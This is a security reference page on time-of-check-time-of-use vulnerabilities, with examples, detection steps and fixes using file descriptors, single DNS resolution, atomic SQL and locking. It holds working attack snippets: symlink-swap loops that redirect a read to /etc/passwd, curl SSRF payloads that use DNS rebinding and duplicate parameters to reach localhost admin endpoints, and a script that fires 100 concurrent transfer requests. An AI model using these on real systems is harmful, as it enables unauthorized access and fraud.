TOCTOU Vulnerabilities
Time-of-Check-Time-of-Use: A vulnerability where a resource's state changes between the security check and the actual use, allowing attackers to bypass validation.
Attack Examples
File System Operations
Tech: Any language with file operationsVulnerability: Check file, then read file
import os
import time
def process_upload(filepath):
# CHECK
if os.path.exists(filepath):
if is_safe_file(filepath):
time.sleep(2) # Processing delay
# USE
with open(filepath, 'r') as f:
data = f.read()
process_data(data)#!/bin/bash
while true; do
# Point to safe file
ln -sf /tmp/safe.txt /tmp/target.txt
sleep 0.5
# Switch to malicious file
ln -sf /etc/passwd /tmp/target.txt
sleep 0.5
doneApplication checks
/tmp/target.txt→ points to safe file ✓2-second delay (processing)
Attacker changes
symlinkto/etc/passwdApplication reads file → gets
/etc/passwdcontent
DNS Rebinding (Web TOCTOU)
Tech: Multi-layer web architecturesVulnerability: Validate URL/hostname, then make request (DNScan change)
// validation.php
function validate_url($url) {
$host = parse_url($url, PHP_URL_HOST);
$ip = gethostbyname($host); // DNS LOOKUP #1
if (is_private_ip($ip)) {
return false; // Block private IPs
}
return true;
}
// Later in backend (Python)
def fetch_url(url):
# DNS LOOKUP #2 (can be different!)
response = requests.get(url)
return response.contentT+0s: PHP validates "evil.com" → DNS returns 1.1.1.1 (public IP) ✓ Pass
T+1s: Request forwarded to backend
T+2s: DNS TTL expires, "evil.com" now returns 127.0.0.1
T+3s: Python backend resolves "evil.com" → Gets 127.0.0.1
T+4s: Backend makes request to localhost ✗ SSRF!curl "https://target.com/fetch?url=http://make-1-1-1-1-rebind-127-0-0-1-rr.1u.ms:5000/admin"evil.comA record withTTL=1First query:
1.1.1.1Second query:
127.0.0.1
HTTP Parameter Pollution TOCTOU
// PHP validation layer
$url = $_GET['url']; // Gets LAST parameter
if (validate($url)) { // Validates safe URL
forward_to_backend(); // Forwards ALL parameters
}url = request.args.get('url') # Gets FIRST parameter!
fetch(url) # Uses different URL than validated!# First URL parameter: malicious (used by Python)
# Second URL parameter: safe (validated by PHP)
curl "https://target.com/api?url=http://127.0.0.1:5000/admin&url=https://safe.com"PHPvalidatesurl=https://safe.com✓PHPforwards full query string to backendPythonusesurl=http://127.0.0.1:5000/admin✗
Database Transactions
Tech: Applications without proper transaction isolationVulnerability: Check balance, then deduct.
Detection
Step 1: Identify Check-Use Patterns
if check_condition(resource):
# ... some time passes ...
use_resource(resource)Step 2: Measure Time Windows
time curl https://target.com/process?file=test.txtIf
> 1second, there's a potentialTOCTOUwindow
Step 3: Test for Race Conditions
for i in {1..100}; do
curl https://target.com/race-endpoint &
done
waitLook for inconsistent responses
Test DNS Rebinding
dig +short evil.com # First lookup
sleep 5
dig +short evil.com # Second lookup - different IP?Testing Checklist
Exploitation Techniques
Symlink Race
#!/bin/bash
TARGET="/tmp/upload"
while true; do
ln -sf /safe/file.txt "$TARGET"
usleep 100000 # 0.1 seconds
ln -sf /etc/passwd "$TARGET"
usleep 100000
doneParallel Requests
import threading
import requests
def race_request():
# Make request during vulnerable window
requests.post('https://target.com/transfer',
data={'from': 'attacker', 'to': 'victim', 'amount': 100})
# Launch 100 concurrent requests
threads = [threading.Thread(target=race_request) for _ in range(100)]
for t in threads:
t.start()DNS Rebinding
# 1u.ms service - alternates between two IPs
curl "https://target.com/fetch?url=http://make-1-1-1-1-rebind-127-0-0-1-rr.1u.ms/admin"First
DNSquery:1.1.1.1(passes validation)Second
DNSquery:127.0.0.1(accesses localhost)
Prevention
Method 1: Use File Descriptors (Files)
if os.path.exists(filepath):
if is_safe(filepath):
with open(filepath) as f:
data = f.read()fd = os.open(filepath, os.O_RDONLY)
try:
if is_safe_fd(fd):
data = os.read(fd, size)
finally:
os.close(fd)Method 2: Resolve DNS Once (Web)
hostname = parse_url(url).hostname
ip = socket.gethostbyname(hostname) # First lookup
if is_safe_ip(ip):
requests.get(url) # Second lookup!hostname = parse_url(url).hostname
ip = socket.gethostbyname(hostname)
if is_safe_ip(ip):
# Use IP directly
requests.get(f'http://{ip}', headers={'Host': hostname})Method 3: Atomic Operations (Database)
SELECT balance FROM accounts WHERE id = 1;
-- Check if balance > 100
UPDATE accounts SET balance = balance - 100 WHERE id = 1;UPDATE accounts
SET balance = balance - 100
WHERE id = 1 AND balance >= 100;
-- Returns 0 rows if balance insufficientMethod 4: Consistent Parameter Parsing (Web)
# Option A: Reject duplicate parameters
if len(request.args.getlist('url')) > 1:
abort(400, "Duplicate parameters not allowed")
# Option B: Validate same parameter used by backend
# If backend uses first, validate first
url_to_validate = request.args.getlist('url')[0]Method 5: Locking (Files)
import fcntl
# Acquire exclusive lock
with open(filepath, 'r+') as f:
fcntl.flock(f.fileno(), fcntl.LOCK_EX)
# File is locked, safe to check and use
if is_safe_content(f.read()):
process(f)
fcntl.flock(f.fileno(), fcntl.LOCK_UN)Last updated